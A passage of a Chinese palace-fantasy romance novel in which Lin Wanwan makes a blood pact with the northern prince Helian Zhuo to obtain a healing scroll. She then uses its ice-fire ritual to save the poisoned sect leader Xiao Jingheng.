里面静静躺着一枚通体乌黑,尾部同样镶嵌着微小红宝石的——
血鸦紧急传讯哨!
“小荷”毫不犹豫地将哨子含入口中,运气内息吹响。
周遭没有任何声音发出,但一股带着特定频率的振动波,瞬间穿透厚重的宫墙和冰冷的地层,朝着血鸦阁的方向疾速传递而去!
血鸦阁,中枢密室。
墙壁上一枚镶嵌着复杂机扩阵列中,同样乌黑尾部嵌着红色宝石的晶石,在接收到无声的震动波之后,猛地亮起急促而刺目的红光,并同时发出尖锐短促的蜂鸣。
密室中,数名身着玄色劲装、气息精悍的血鸦卫瞬间被惊动,目光齐刷刷**在那闪烁的红光上!
“是血鸦泣,来自冷宫栖梧苑!”一名负责情报的副使迅速解读着晶石闪烁的频率和方位。
“冷宫方向?”一名血鸦正使闻言,眼神变得锐利,“影殿的三条杂鱼刚处理干净,尾巴还没扫清!皇帝的手就又伸到冷宫去了!”
“信号内容无法传递具体细节,但‘血鸦泣’代表极度危险,此事必须立刻禀报阁主定夺!”情报副使语速飞快。
“阁主带着寒鸦去处理更重要的事情了...”血鸦正使声音一沉,带着一丝不易察觉的焦虑。
他猛地一拳砸在冰冷的金属桌面上,“该死,偏偏是这个时候!”
第64章 渊阁惊变
“那现在该怎么办?冷宫那边...”一名血鸦阁高层急切道。
血鸦正使眼神挣扎,迅速权衡。
皇帝在冷宫动手,目标指向的必然是林小姐!
栖梧苑发出的是最高求救信号,那证明情况必定万分紧急,代表皇帝所图必然极大!
但阁主目前所做事情,也事关重要,万分耽误不得。
“传令!”正使猛然抬头,声音带着决断的冰冷。
“‘癸’字营所有机动暗卫,立刻化整为零,潜入冷宫外围待命!严密监控栖梧苑及附近区域所有动向!”
“‘丁’字营,动用所有在宫内的暗线,不惜一切代价,查清皇帝在冷宫的具体行动及接下来的所有动作!”
“其他人,守好各处门户,警惕影殿和巡防营的异动!渊阁那边,暂时不动!”
命令迅速下达。
血鸦阁这庞大的组织,在皇帝这突如其来的狠辣一击下,被迫分兵应对。
精锐力量被牢牢牵制在追查影殿余孽,保护血鸦阁各处要地之上。
对栖梧苑内的情况,只能做到外围监控和情报收集,无法给予最直接的支援!
血鸦阁这头暗夜雄狮,在皇帝精心选择的时机和阴毒手段面前,首次出现了致命的迟滞和被动!
渊阁内。
幽蓝的星辉如同温柔的薄纱,笼罩在巨大的白玉平台上。
林绾绾在白玉台上盘膝而坐,周身金红光晕微闪,力量温柔流淌。
四周洞壁上的浩瀚符文星图,也如同在和她低语一般,闪动的频率越发规律清晰。
就在她心神沉浸其中之时——
“呜...呜呜...”
苍凉悲怆的异域笛声,如幽魂叹息,穿透厚重墨玉石门,直抵灵魂!
这一次的笛声更凄厉,如同绝境孤狼对月哀嚎!
仇恨刻骨!无尽孤寂!
心口火焰印记顿时爆出灼目金芒!
一股前所未有的酥麻刺痛席卷全身!
林绾绾感觉血脉深处,沉睡的枷锁在被笛声强行撼动,撕扯!
她猛地睁开眼,瞳孔内金焰跳跃,捂心窒息!
“林小姐!你没事吧!”角落中守护的青蚨瞬间闪至。
“这笛声...它在撕扯我的血脉!”林绾绾惊骇下,语调越发凌乱。
话音未落!
墨玉石门被巨力推开,萧景珩踉跄扑入!
他额角青筋暴突,冷汗涔涔。
刺骨冰寒失控般地从他体内狂溢而出,裸露在外的皮肤凝结出细密白霜。
“凝霜馆笛声...”他嗓音嘶哑破碎,寒意与巨大痛苦交织,目光却死死锁住白玉平台上的林绾绾,“它引动了我的寒毒!它在通过你...的身体,吞噬我的力量!”
似是为了印证他的话一般,下一息,他又喷出大口带着冰碴的暗红淤血!
高大的身体再也支撑不住,单膝重重砸落在冰冷的金属地面上,闷响如惊雷!
“噗嗤!”
惊变突生!
就在萧景珩跪地同时,所有人注意力被牵引的瞬间,一道淬毒乌光,如毒蝎亮翅,从洞开的石门阴影中激射而出!
角度刁钻!时机阴毒!
直刺林绾绾毫无防备的后心!
三名被清理的影殿死士同伴,潜伏已久,只为这致命一击!
“小心!”青蚨最先发现异常,大声厉喝示警,残影扑救!
奈何距离太远!
暴怒的呼喊与压抑的痛楚同时炸响!
寒毒肆虐,跪地剧痛的萧景珩,千钧一发之际,他榨取自己最后的力量,身躯如同被无形之手操控般强行扭转,悍然挡在林绾绾身前!
**刹那间狠狠钉入萧景珩的右肩!
剧毒入体,冰冷剧痛混合,力量反噬,萧景珩惨烈痛呼出声。
他的身躯如同抽尽筋骨,轰然后倒。
皮肤冰霜,肉眼可见的蔓延加厚!
幽蓝色毒纹自右肩伤口处疯狂扩散,先是爬满萧景珩苍白的脖颈,然后又侵蚀了他半边俊颜!
“萧景珩!!”
林绾绾目眦欲裂,凄厉尖叫更是撕心裂肺。
恐惧无助如冰水般将她整个人都浇透。
她不顾一切飞扑上前,用尽全力接住萧景珩倒下的沉重身躯。
萧景珩冰冷身体在她怀中剧烈抽搐,死灰与青紫颜色交杂覆盖在他的脸上。
“阁主!”
青蚨惊怒交加,几根乌金细针飞出,将影殿死
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士击毙当场,然后飞身,瞬间扑至萧景珩身边。手指快如闪电封住他心脉大穴,将解毒丸快速塞入到他口中。
但是,冰蓝毒纹依旧没有停止蔓延,萧景珩的气息依旧在飞速流逝。
青蚨动作毫不停顿,在封穴喂药的同时,另一只手已经探入怀中,带上一只薄如蝉翼的金丝手套,接着快如闪电般探向萧景珩的右肩胛。
她精准地捏住那枚即将完全深入皮肤、仅露出微末幽蓝针尾的**!
没有丝毫犹豫,她的手腕一抖,运其巧劲,“嗤”的一声轻响,**便被瞬间拔出。
针尖上毒液欲滴未滴,幽蓝寒芒闪烁着死亡的气息。
青蚨反手将**装到随身携带的玄玉小瓶中,瓶身瞬间泛起冰蓝幽光,隔绝了所有的毒气。
“是蓝魄!针上是蓝魄剧毒。遇寒毒则瞬间与骨血交融,药石无灵!”
林绾绾一手紧紧抱着萧景珩冰冷的身体,另一只手也快速搭上他的腕脉。
指尖传来的脉象混乱如沸粥,冰寒死气与剧毒疯狂交织!
她心口的火焰印记因极致的担忧与愤怒灼热跳动,力量虽在左冲右突,却被她强大的意志死死约束!
泪意瞬间涌了上来,又被她生生忍了回去!
此刻,想法救治萧景珩,是她心中唯一的信念!
而眼泪无用!
“现在除非用‘冰火同契’之法,强行剥离毒素,**寒毒…但…”青蚨的声音带着深沉的无力,“这是《天医策》中才有记载的内容,可是这本书…早已失传…”
“失传”二字,如同最后的丧钟,巨大的绝望阴影笼罩而下!
林绾绾死死咬住下唇,血腥味在口中弥漫,刺激着她近乎崩溃的神经!
不!还不能放弃!
他可是萧景珩!是血鸦阁主!
他不能死!也绝不会这么轻易死去!
就在这绝望深渊即将吞噬林绾绾理智的临界点——
“呜--”
那穿透灵魂的悲怆笛声,毫无征兆地停止。
紧接着,一个沙哑、带着浓重异域口音,仿佛砂砾摩擦戈壁的声音,毫无征兆地在渊阁内响起:
“想救他吗?我可以帮你!”
第65章 凝霜换契
一个高大身影,如同从阴影本身凝聚而成,悄无声息地在阴暗处伫立着。
靛蓝古袍边缘磨损严重,上面用暗银线绣着扭曲的火焰狼头图腾。
半旧的青铜狼首面具覆盖大半面容,只露出线条冷硬的下颌与薄唇。
面具眼孔后,一双眸子如同大漠最冷的寒星,此刻正毫无温度地牢牢锁视在林绾绾身上!
“赫连灼!”青蚨惊呼出声!
他是如何进入这血鸦阁核心禁地的?
青蚨挡在林绾绾身前,乌金细针蓄势待发,杀机凛冽。
“不管你是谁,擅闯血鸦禁地者,死!”
赫连灼对指向他的杀意视若无睹,目光穿过青蚨,只落在林绾绾脸上,声音毫无波澜,如同陈述冰冷的事实。
“血鸦阁地下脉络,与皇城废弃水道相连。凝霜馆下,恰有一条…被遗忘的‘归墟之径’。”
他微微侧身,露出身后阴影中一个布满湿滑苔藓的狭窄洞口。
洞口幽暗深邃,不知通往何方。
“这笛声…是路标,亦是钥匙。目前能引动‘双生焰’共鸣之地的方位,必定是渊阁所在。别人想找到这里或许很难,但在我这儿…却十分简单。”
废弃水道!以笛声共鸣为引!还对皇城的下水道的隐秘了如指掌!
此人不光心思缜密,而且是步步为营!
赫连灼的目光掠过林绾绾怀中气息奄奄的萧景珩,最终回到她的脸上:“他的命,就在你手里。”
他缓缓抬起手,宽大袍袖滑落,露出骨节分明、带着陈旧伤痕的手。
掌心里,托着一卷颜色暗沉、边缘已经残破不堪的卷轴。
卷轴表面,流动着几个暗淡金光的古老文字,只有冰火二字能依稀辨认。
难道赫连灼手里的就是《天医策》?!
似乎是看懂了林绾绾眼里的含义,他接着道:“这是《天医策》的残卷!虽然内容残缺,但却恰好有你们需要的‘冰火同契’篇…”
希望之光刺破绝望的阴霾!
林绾绾看着那卷轴,如同看到了唯一的生路。
“给我!”她的声音斩钉截铁,眼中燃烧着孤注一掷的光芒,“说条件!”
所有的顾虑在萧景珩飞速流逝的生机面前全都不值一提!
赫连灼青铜面具下的薄唇,勾起一个冰冷的弧度:“一个血契!”
“血契?”林绾绾心提了起来,“什么意思?”
“就是以你的血为引,立下誓言。”
赫连灼的声音低沉缓慢,如同毒蛇慢慢缠绕上猎物的脖颈一般,“待我需要之时,无论何事,你需要倾尽全力,为我达成。”
“契约一成,不可反悔,不可推诿。若有违逆…”
“血脉反噬,神魂俱灭!”
这是一个未知的,以血脉和灵魂为抵押的,在未来需要以性命相托的契约!
巨大的风险如潮水般汹涌!
林绾绾的目光扫过赫连灼掌心的卷轴,又低头看向萧景珩灰白的脸色和依旧在蔓延的毒素…
时间在流逝!这每一息都是生死!
没有哭喊,没有犹豫!林绾绾眼中只有破釜沉舟的决绝!
她咬破自己指尖,一滴殷红的血珠涌出,“我,林绾绾,在此与赫连灼立下血契!将来无论何事,必定倾力而为,绝不反悔!如违此誓,必血脉反噬,命丧当场!”
誓言铿锵有力,字字如金石掷地。
指尖血珠隐有金芒微闪,血契之引已成!
“明智的选择。”赫连灼的声音听不出情绪。
他手腕一抖,那承载着希望与枷锁的古老卷轴,稳稳飞向林绾绾!
林绾绾一把接住。
卷轴入手温润沉重,历史的沧桑与神秘的力量感瞬间传递。
看着卷轴落到林绾绾手中刹那,赫连灼的身影便后退入身后幽暗的洞口,只余冰冷的话语在渊阁内回荡:
“记住你的血契。凝霜馆,随时恭候。”
身影刹那隐入黑暗,仿佛从未出现。
“林小姐!快打开卷轴!”青蚨急忙催促,警惕目光扫过赫连灼消失的方向,又落回到萧景珩身上。
林绾绾深吸一口气,强行压下血契带来的灵魂枷锁感以及所有纷乱心绪。
此刻唯独
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只剩一念!
她快速展开手中破旧的卷轴。
卷轴中心,两具由无数火焰锁链紧密缠绕、彼此交融的人形光影跃然纸上!
两人心口间金红与金红交相辉映,图旁的注释清晰明了:
“冰火同契,以血为媒。引寒渡厄,以心煅之。契成则毒消,共生共济…”
以施救者的心血为桥梁,引渡剧毒,以经脉冲蚀、缓解毒性,再以心火煅烧,缔结共生契约!
林绾绾心下大定,眼中是冷静且义无反顾的光芒,“青蚨,**!”
青蚨闻言**紧双拳,眼神坚毅,用力点了点头。
林绾绾没有丝毫犹豫,将她与萧景珩二人的衣衫半褪下,露出心口位置。
接着用九转玲珑针在二人心口位置划开一道口子。
林绾绾的两只手坚定地拉住萧景珩冰冷刺骨的双手。
她使出全部力量将二人的手紧密相扣,掌心相贴!
肌肤相触间,刺骨的冰寒与血脉的灼热形成鲜明对比。
“以吾之血,为汝之媒,引寒渡厄,契成共生!”
古老的咒言,带着少女孤注一掷的守护之志,在幽蓝的渊阁星辉下,如同穿越时空的神谕,庄严响起。
咒言落定,心口的血液蕴含金芒,骤然化作璀璨的金红流光,顺着两人紧密相连的掌心与血脉的桥梁,决绝地投入到萧景珩濒死的躯体之中!
渊阁内,幽蓝光辉无声流淌,映照着白玉平台上生死相连的两人,以及那卷摊开的,承载着古老秘法的破旧卷轴。
空气与时间好像已经完全凝固,只有血脉力量引动的细微波动,在二人之间流淌。
林绾绾保持十指紧扣的姿势,感觉浑身的力量仿佛在一点点被抽空,意识也越来越不清晰。
她只得越发用力地握住萧景珩冰冷的手,仿佛那是连接深渊的唯一绳索。
心口处的伤口时不时传来细微的刺痛,伤口上的鲜血还残留着一丝微不可查的金芒。
两人交握的掌心处缓缓晕开淡淡的红光。
时间在极致的紧张中流淌,每一息都格外漫长。
第66章 冰火同契
渊阁内。
青蚨屏住呼吸,目光死死锁定着白玉平台上的二人。
“呃啊——!”
昏迷中的萧景珩身体突然猛地弓起,如同被投入滚油的活鱼一般!
一股冰火交织的极致剧痛,在不经意间席卷了他残存的意识。
他那张透着死灰与青紫的脸庞,因痛苦而扭曲变形,但他牙关紧咬,嘴里发出骨骼摩擦的咯咯声。
他原本微弱的气息在这一瞬骤然变得粗重而破碎。
林绾绾亦是浑身剧颤!
十指相扣处传来的是一股狂暴、带着无尽阴寒与恶毒死气的混合洪流,如同被惊动的两条**,顺着她强行开辟的通路,向她狂涌而来。
那是玄冥寒毒与“蓝魄”剧毒混合在一起的反噬!
冰冷刺骨的寒意混合着腐蚀性的剧毒,瞬间冻结然后又灼烧着她的经脉。
林绾绾眼前阵阵发黑,几乎要握不住萧景珩的手。
“林小姐,撑住!按卷轴经络图,引导毒素流转!”一旁**的青蚨厉喝如同惊雷,将林绾绾从被崩溃的边缘拉回。
《天医策》卷轴上那幅由无数火焰锁链交织、双影交融的经络图瞬间在她识海中清晰浮现!
心念电转!
医者的本能与求生的意志压倒了痛苦!
林绾绾猛地将全部心神,沉入到心口疯狂跳动的火焰印记上。
她的意念如同追踪的猎犬一般,死死锁定着那两道顺着手臂少阴心经疯狂上窜的寒毒洪流。
“引!”林绾绾在心中无声嘶吼!
磅礴的力量从心口印记汹涌而出,化作两道灼热的红色“引线”,精准无比地缠绕上那两道入侵的洪流,如同最熟练的牧马人,用火焰的缰绳强行套住了失控的烈马!
意念高度集中!
林绾绾引导着火焰之力,顺着自己手臂的经络疾速下行。
目标——手腕内侧神门穴!
她要通过神门穴宁心安神,方可通调心脉。
接着,火焰引线拖拽着狂暴的寒毒洪流,一路冲关破穴!
所过之处,她自身的经脉如同被冰锥反复穿刺又被烙铁灼伤。
汗水浸透了衣衫,混合着嘴角溢出的鲜血,狼狈不堪。
但此刻她只有死死咬住牙关,意念如同磐石,没有丝毫动摇!
终于!
那两道被火焰之力强行“驯服”的洪流,被引至神门穴!
此处如同一个关键的闸口!
林绾绾眼中金红光芒爆闪,意念引动火焰之力,在神门穴处猛地一个盘旋。
借着这股盘旋之力,她牵引着那两道被压缩凝练的寒毒洪流,通过两人十指相扣的链接点,如同开闸泄洪般,再渡回到萧景珩体内。
但这一次,并非任由其肆虐!
“渡厄!”
林绾绾默念卷轴要诀,意念紧随洪流之后,冲入萧景珩的经脉!
萧景珩的经脉内,早已是冰封炼狱,残余的玄冥寒毒与“蓝魄”剧毒盘踞在五脏六腑,如同万年坚冰!
而林绾绾渡回的这一股被驯化的洪流,如同投入冰湖的炽热陨石。
“轰--!”
冰与火在萧景珩脆弱的脉络中再次轰然对撞,远比之前更加猛烈。
无数细密的“滋滋”声如同冰雪消融,又似冷水泼入滚油。
萧景珩的皮肤表面瞬间腾起浓密的、带着幽蓝与灰白混杂的死气白雾。
右肩胛处,那蛛网般的幽蓝毒纹疯狂闪烁,如同垂死的毒蛇在做最后的挣扎!
“就是现在!煅之!”
林绾绾猛地松开咬紧的牙关,任由一口心头逆血涌上喉头。
她没有吐出这口血,而是强行将它含住,同时引动心口灼热的能量本源。
“噗--!”
一口蕴含着炽热能量,滚烫如岩浆的心口热血,被她猛喷在两人十指紧扣的手掌之上。
鲜血瞬间被两人肌肤相接处的高温蒸发,随之化作一片浓郁的血雾,将两人紧扣的双手,乃至小半身躯都笼罩其中。
血雾带着灼热的气息,如同活物般,疯狂地顺着两人肌肤的毛孔,钻入彼此体内。
林绾绾只感觉一股灼热洪流,混合着自己喷出的那口心头精血所化的磅礴生命力,自心口印记狂涌而出。
这股力量不再仅仅是引导,而是带着煅烧、净化、重塑的霸道意志。
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它顺着她与萧景珩之间构建的“冰火通道”,汹涌澎湃地冲入萧景珩的经脉,狠狠撞向那正在激烈冲突的毒寒区域!
“啊——!!”
这一次,萧景珩在极致的痛苦中竟恢复了意识。
他发出痛苦的嘶吼,双目猛地睁开。
那双黑眸中此刻布满了血丝,瞳孔深处清晰地倒映着林绾绾布满汗水、血迹和决绝神色的面庞!以及…她心口处如同烙印般清晰的火焰印记。
火焰之力,如同焚尽污秽的净世之炎,所过之处,那混合的毒气如同冰雪般飞速消融、汽化!
幽蓝的毒纹寸寸断裂。
盘踞在他五脏六腑深处的玄冥寒毒本源,也在火焰之力煅烧下,如同暴露在烈日下的坚冰,发出不堪重负的碎裂声。
丝丝缕缕的毒气被强行剥离、净化,然后被火焰之力贪婪地吞噬、融合!
冰火同契!火煅寒毒!
这过程霸道而痛苦!
萧景珩感觉自己的灵魂仿佛全部被投入到熔炉,每一寸血肉都在被撕裂、重塑!
但他死死压住牙关,布满血丝的眸子,一瞬不瞬地死死锁定着近在咫尺的林绾绾!
仿佛她便是自己在这炼狱中唯一的希望!
林绾绾同样承受着巨大的反噬!
她不仅要源源不断地输送火焰之力,更要承受萧景珩体内被煅造、剥离出的毒气的反哺。
冰与火的力量在她体内疯狂流转、冲突,再缓缓交融!
她的脸色时而赤红如火,时而苍白如雪,身体也如同风中柳絮般柔弱颤抖。
不知过了多久。
萧景珩体内最后一丝顽固的“蓝魄”毒纹终于彻底化为青烟。
一种前所未有的轻松感,伴随着磅礴而温润的力量,如同新生的潮汐,瞬间冲刷掉他所有的痛苦和疲惫!
他周身的死气白雾也彻底消散,皮肤上凝结的冰霜也随之化作水汽蒸腾。
死灰般的青紫色从脸上褪去,取而代之的是一种大病初愈后的苍白,以及一种从身体深处散发出的温润光泽。
紧蹙的眉峰彻底舒展,呼吸变得悠长而平稳。
成功了!
第67章 劫后余生
林绾绾紧绷的神经骤然断裂。
巨大的脱力将她淹没。
身体如同抽干了所有力气般,软软向前倒去。
预想的冰冷痛楚没有到来,反而是落入到一个坚实而温热的怀抱。
她缓缓挣开沉重的眼皮。
幽蓝的星光下,先映入眼帘的,是萧景珩近在咫尺的脸。
萧景珩一只手稳稳接住了林绾绾倒下的身体,然后顺着小臂力量,小心翼翼地将她抱在胸前。
他将林绾绾褪到锁骨下方的衣服提上来、挽好,然后重新环住她,用自己的身体为她隔绝外部的寒意。
两人就这样狼狈不堪地依偎在一起,急促的喘息声交织在一起。
汗水和血污浸透了彼此的衣衫,两人的另一只手还紧紧交握在一起。
四目相对。
渊阁内一片寂静,只有两人的目光在幽蓝的星光下交织、缠绵。
“阁主!林小姐!”青蚨直到此刻才敢上前,声音带着如释重负的激动和一丝后怕。
她迅速检查了两人的状况,确认毒素和寒毒的状态。
眼下蓝魄毒素已清,寒毒被压制融合,虽然两人都极度虚弱,但性命无虞。
“属下立刻去准备固本培元的药!”说完,她的身影便迅速消失在渊阁入口。
渊阁内,再次只剩下相拥依偎的两人。
昨夜舍身相救的决绝,之后引毒渡厄的同生共死,血脉深处的奇妙连接...
无数复杂而沉重的情感,在无声对视中流淌。
虽没有人出声,却仿佛有千言万语在沉默中诉说。
林绾绾的心跳不受控制地加快。
她挣扎着想坐起身,却被萧景珩牢牢固定在怀中。
“别动。”
萧景珩的声音里带着不容拒绝的沙哑。
他修长的手指带着一种小心翼翼的轻柔,拂开了林绾绾粘在汗湿额角的凌乱发丝。
指尖微凉的触感掠过滚烫的肌肤,激起一阵细微的战栗。
这个动作已太过亲昵,超越了所有界限。
林绾绾的身体变得僵硬,脸颊不受控制地泛起红晕,呼吸变得越来越急促。
萧景珩温热的气息喷洒在她的额前,让她的感官无限放大。
“你的伤…”
林绾绾刻意避开萧景珩过于深邃的目光,看向了他右肩胛处,试图转移话题。
“无妨。”萧景珩打断林绾绾,目光依旧紧紧锁着她的脸,“毒已解,寒毒…也被暂时压制住了。”
萧景珩的声音越发低沉,语调中满是深沉的悸动,“是你…救了我!是用林太医留下的《天医策》吗?”
听到《天医策》这三个字,林绾绾突然心下一沉!
赫连灼!还有那个未知的承诺!
她下意识攥紧了掌心,手指间仿佛还能感受到那古老卷轴的沉重触感。
“那《天医策》是赫连灼给我的。”她垂下眼帘,声音干涩。
“赫连灼?”
萧景珩声音带着冷冽的杀意和难以置信的惊怒,“北漠质子?他怎么会出现在这里?你们之间是不是做了什么交换?”
一连串质问如同冰雹砸下,每一个字都带着沉重的威压。
“他…只是跟我要了一个承诺…”林绾绾的声音越说越小,避重就轻地答道。
“要了什么承诺?”
萧景珩的瞳孔骤然收缩,环抱着林绾绾的手臂无意识地又收紧了一些。
周身刚刚平复的冰冷气息再次翻涌,如同被触及逆鳞的凶兽。
巨大的压迫感让林绾绾呼吸一窒!
她看着萧景珩眼中翻腾的怒火和深沉的担忧,心中五味杂陈。
她知道,那个未知的承诺,如同悬顶之剑,或许将成为两人之间的芥蒂。
“他…只说要我未来为他做一件事。”林绾绾迎着萧景珩审视的目光,声音带着一丝疲惫和无奈。
“无论何事,当时为了救你…我别无选择。”
她顿了顿,眼中闪过一丝倔强,“而且…他为何会知道我们心口印记相连共通之事?”
萧景珩的眉头死死拧紧,眼中寒光闪烁,如同风暴在酝酿。
北漠赫连灼…他竟然知道双生火焰!
他处心积虑潜入渊阁,大方送出《天医策》残卷,怎么可能只是为了索要一个未知的承诺!
巨
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大的危机感如同阴云笼罩。
皇帝长生阴谋尚未解决,北漠的狼子野心又已显露!
“此事,稍后再议。”
萧景珩压下翻腾的怒火和担忧,声音恢复了沉冷。
他深深看了林绾绾一眼,眼中是浓浓的保护欲。
“当务之急,是先稳固你我体内的力量。这‘冰火同契’之法虽然解了燃眉之急,但隐患仍在,我们还不能掉以轻心,寒毒与火焰之力在体内长久共存,稍有不慎…”
萧景珩没有继续说下去,但林绾绾却已然明白。
她体内流淌的力量,既是生机,也是随时可能爆发的隐患!
“嗯。”
林绾绾低低应了一声,感受着手腕和肩膀上萧景珩依旧没有松开的力量,和他指尖传来的、令人安心的温凉触感。
心底那丝因未知承诺带来的沉重,似乎被这无声的守护冲淡了一些。
“阁主,林小姐。”青蚨适时端着一个托盘上前,打破了两人之间微妙而紧绷的气氛。
托盘上是两碗褐色汤药,还有一小盒秘制金疮药。
“药煎好了,您二位的伤口也需要重新处理一下。”
萧景珩这才缓缓松开了手。
指尖残留的细腻触感和温度,让他心底掠过难以言喻的涟漪。
萧景珩接过药碗,目光扫过林绾绾心口衣物渗出的血迹,沉声道:“先处理你的伤。”
林绾绾没有推辞。
失血过多和方才的过度消耗,让她此刻异常虚弱。
她接过青蚨递过来的金疮药,背过身,小心地涂抹在心口的伤口处。
清凉的药膏舒缓了不少疼痛。
萧景珩深深地看着林绾绾背对着自己时,低垂着头、专注上药的侧脸。
她的长睫在眼下投下淡淡的阴影,苍白的脸上虽沾染了血污和汗渍,但在幽蓝光晕的衬托下,却显得她既脆弱又坚韧。
萧景珩端起药碗,将苦涩的药汁一饮而尽。
温热的药力顺着喉咙滑下,滋养着他透支的身体。
渊阁内寂静无声。
只有弥漫着的药草的苦涩气息和一种劫后余生的宁静。
第68章 火焰疑云
“阁主!”
一个血鸦使冰冷的声音在渊阁入口响起。
“冷宫方向有‘血鸦泣’传来,栖梧苑外皇帝的守卫已增加数倍,里面具体情况暂时无法探知。而凝霜馆附近…也发现不明巫蛊波动!”
看来皇帝依旧没有放弃对林绾绾的掌控和企图。
他现正疯狂搜寻着林绾绾的踪迹,以及可以控制住她的把柄!
而凝霜馆的巫蛊波动…
是赫连灼?还是别的什么人?
萧景珩放下药碗,缓缓站起身。
虽然气息依旧虚浮,但那股掌控一切的强大气场已重新凝聚。
“知道了。”
他声音带着沉稳决断。
“传令下去,血鸦阁进入‘隐鳞’状态。所有外围据点静默,核心成员固守渊阁,没有我的命令,任何人不得擅动。”
“是!”血鸦使躬身领命,瞬间消失。
萧景珩的目光重新转向林绾绾:“皇帝和赫连灼…可能都有惊天阴谋在等着我们。当务之急是稳固力量。唯有如此,我们才有破局的资本!”
林绾绾赞同地重重点了点头。
她拿起那卷放在一旁的《天医策》残卷,“我会用剩余的时间,竭尽所能窥探一下这卷轴中的奥秘,这里面的医术对我们以后一定会有帮助!”
萧景珩深深看着林绾绾,目光中包含太多难以言语的情绪。
最终,他朝着青蚨缓缓道:“青蚨留下**,孤…也需要调息片刻。”
随后他走到渊阁一角,盘膝坐下,闭上双目开始调息。
玄色**袍上的血迹,在幽蓝星光下如同暗夜之花。
林绾绾也重新在白玉平台上盘膝坐下。
她展开那卷《天医策》残卷,心神沉入其中。
卷轴上,那些玄奥的经络图、燃烧的符文节点变得愈加清晰。
上面的医术阐述如同为她量身定做的钥匙,解开了她体内全新力量运转的奥秘。
林绾绾按照卷轴指引的轨迹,尝试引导心口的力量缓缓运行。
奇妙的事情发生了!
那种蕴含着冰火两种属性的力量,在她的经脉中顺畅流淌。
力量所过之处,滋养着受损的肌理,稳固孱弱的经络。
心口的伤口处传来阵阵麻痒。
它竟在以肉眼可见的速度愈合!
《天医策》果然是本奇书!
竟能夺天地造化,逆生死玄机!
巨大的喜悦充盈了林绾绾的心胸。
她如饥似渴地沉浸其中,忘记了时间,忘记了伤痛,忘记了外界的危机...
不知过了多久。
当她再次从深沉的感悟中清醒过来时,整个人仿佛经过一次脱胎换骨的蜕变。
她看向渊阁角落,萧景珩依旧在调息,但脸色比之前好了许多,呼吸也变得悠长平稳。
就在这时——
“嗡...”
一阵仿佛来自灵魂深处的嗡鸣,毫无征兆地从她手中的残卷上传来。
只见残破的古老卷轴表面,那些暗金色的线条和符文,竟如同拥有了生命般,开始缓缓流淌、组合!
最终,在卷轴边缘一个不起眼的空白处,浮现出一个微小,却清晰无比的图案——
一朵花瓣上有金线锯齿,娇艳绽放的金丝昙花!
昙花图案的下方,一行更加细小,仿佛用火焰烙印而成文字缓缓浮现:
“火焰之源,起于漠北狼山。圣女之血,承自金昙王庭。”
这行文字,如同烧红的烙铁,狠狠烫在林绾绾的眼底,更烫在她的心上。
北漠!
那个与大胤隔着千里黄沙,有着连绵战火的国度!
那个质子赫连灼真正所属的地方!
那个地方,竟是她身上火焰之力的源头?
金昙王庭...这个名字带着一种异域的尊贵与冰冷,瞬间在她脑海中勾勒出模糊而庞大的轮廓。
心口的火焰印记开始灼**跳动着,仿佛遥远的力量源头正传来无声的呼唤。
卷轴上的金丝昙花也开始隐隐闪动光泽,彼此之间的力量形成一种诡异的牵引力。
林绾绾的目光,不由自主地投向渊阁入口的方向,似是要穿透重重石壁,望向皇宫西北角那座被遗忘的、属于北漠质子的凝霜馆。
“金昙...王庭?”
一道低沉沙哑的声音自身侧响起,带着尚未完全平复的虚弱,却精准地捕捉到了她瞬
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间的失神。
林绾绾猛地回过神,指尖下意识收拢,几乎要将那卷沉重的《天医策》残卷捏碎。
她转过头,正对上萧景珩的黑眸。
他不知何时已经结束调息,正站在白玉平台旁。
玄色的身影在幽蓝星光下显得格外挺拔。
他的目光落在林绾绾手中的卷轴上,锐利如鹰隼。
萧景珩显然不光看到了文字,更看穿了她内心的惊涛骇浪。
仿佛是巨大的秘密猝不及防地被窥破了一角,林绾绾心头一紧,下意识想将卷轴藏起来。
然而,对上萧景珩那双深邃、沉静,带着一种了然的眼神时,她紧绷的心弦莫名地松缓了一瞬。
“那行字,是卷轴...自己浮现的。”她将卷轴递过去,声音带着自己都未察觉的干涩,“就在刚才。”
萧景珩接过卷轴,修长的手指抚过金丝昙花的图案。
指尖停留在“金昙王庭”四个文字上,力道微微加重。
北漠...金昙王庭...火焰血脉源头...赫连灼...
这一切线索如同散乱的珠子,被这根“火焰之力”的丝线强行串联起来,指向一个庞大而危险的漩涡中心。
“漠北狼山...金昙王庭...”
萧景珩低声重复,每一个字都带着金属般的冷冽质感。
“赫连灼...北漠王庭第七子,生母不详,自幼体弱,以质子身份入大胤十年,深居简出,在后宫几乎没有任何存在感。”
他抬起眼,目光如同实质般锁住林绾绾。
“一个如此‘透明’的质子,却身怀引动你血脉的笛子,更拥有《天医策》残卷...绾绾,他索要的那个承诺,绝非小事。这潭水,比你想象的更深,也更混。”
“我知道。”
林绾绾迎着萧景珩的目光,眼中没有退缩,只有一种孤注一掷的决绝。
“我决定去凝霜馆见他一面。因为我的问题,只有他能给出答案!”
“而且,他既然敢在渊阁现身,又留下线索,必然算准了我会去。躲...是躲不掉的。”
渊阁内,在这番对话下陷入短暂的沉寂,只有幽蓝星辉无声流转。
第69章 深入凝霜
萧景珩凝视着林绾绾苍白却坚定的脸。
想到昨夜引毒濒死的惨烈,冰火同契时承受的极致痛苦与坚韧,以及此刻她为了追寻力量真相所展现的孤勇...
一种陌生的、强烈到几乎失控的保护欲混合着深沉的占有欲,在萧景珩心底疯狂滋生。
他决不允许林绾绾再独自涉险,将她自己置于赫连灼那未知的觊觎之下。
“我与你同去!”
他的声音斩钉截铁。玄色**袍下的身躯微微挺直,带着属于太子的威仪和血鸦阁主的凛冽杀伐。
“不行!”林绾绾几乎是立刻反驳,声音带着急促。
“皇帝的眼线正一直在盯着冷宫和血鸦阁的外围!你的伤…”
林绾绾的眼睛扫过萧景珩肩胛处已经包扎处理好的伤口。
“你的伤并未痊愈。若你现身凝霜馆,被皇帝的人察觉…那后果不堪设想!你的身份,决不能暴露!”
她眼中的担忧清晰可见,那是源于对全局的考量,更是对萧景珩安危的关切。
这份纯粹的担忧,如同一股暖流,悄然熨帖了萧景珩心底因“赫连灼”这个名字而翻腾的戾气与冰冷。
“你在担心孤?”萧景珩微微附身,两人之间的距离近得能看清彼此眼中幽蓝星光的倒影。
他的声音压得极低,带着一种磁性的沙哑,和若有似无的探寻,“还是…担心孤去了,会坏了你与那赫连灼的‘约定’?”
灼热的气息拂过林绾绾的耳垂,给她带来一阵细微的战栗。
林绾绾的心跳骤然失序,脸颊不受控制地发烫。
